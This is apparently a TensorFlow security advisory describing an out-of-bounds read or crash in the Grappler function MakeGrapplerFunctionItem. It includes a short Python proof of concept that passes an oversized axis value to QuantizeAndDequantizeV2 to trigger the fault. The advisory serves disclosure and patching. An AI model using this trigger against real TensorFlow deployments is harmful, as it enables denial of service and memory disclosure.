Impact

The function [MakeGrapplerFunctionItem](https://https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/grappler/utils/functions.cc#L221) takes arguments that determine the sizes of inputs and outputs. If the inputs given are greater than or equal to the sizes of the outputs, an out-of-bounds memory read or a crash is triggered.

```python

import tensorflow as tf

@tf.function

def test():

tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],

input_min=[1.0],

input_max=[10.0],

signed_input=True,

num_bits=1,

range_given=True,

round_mode='HALF_TO_EVEN',

narrow_range=True,

axis=0x7fffffff)

test()
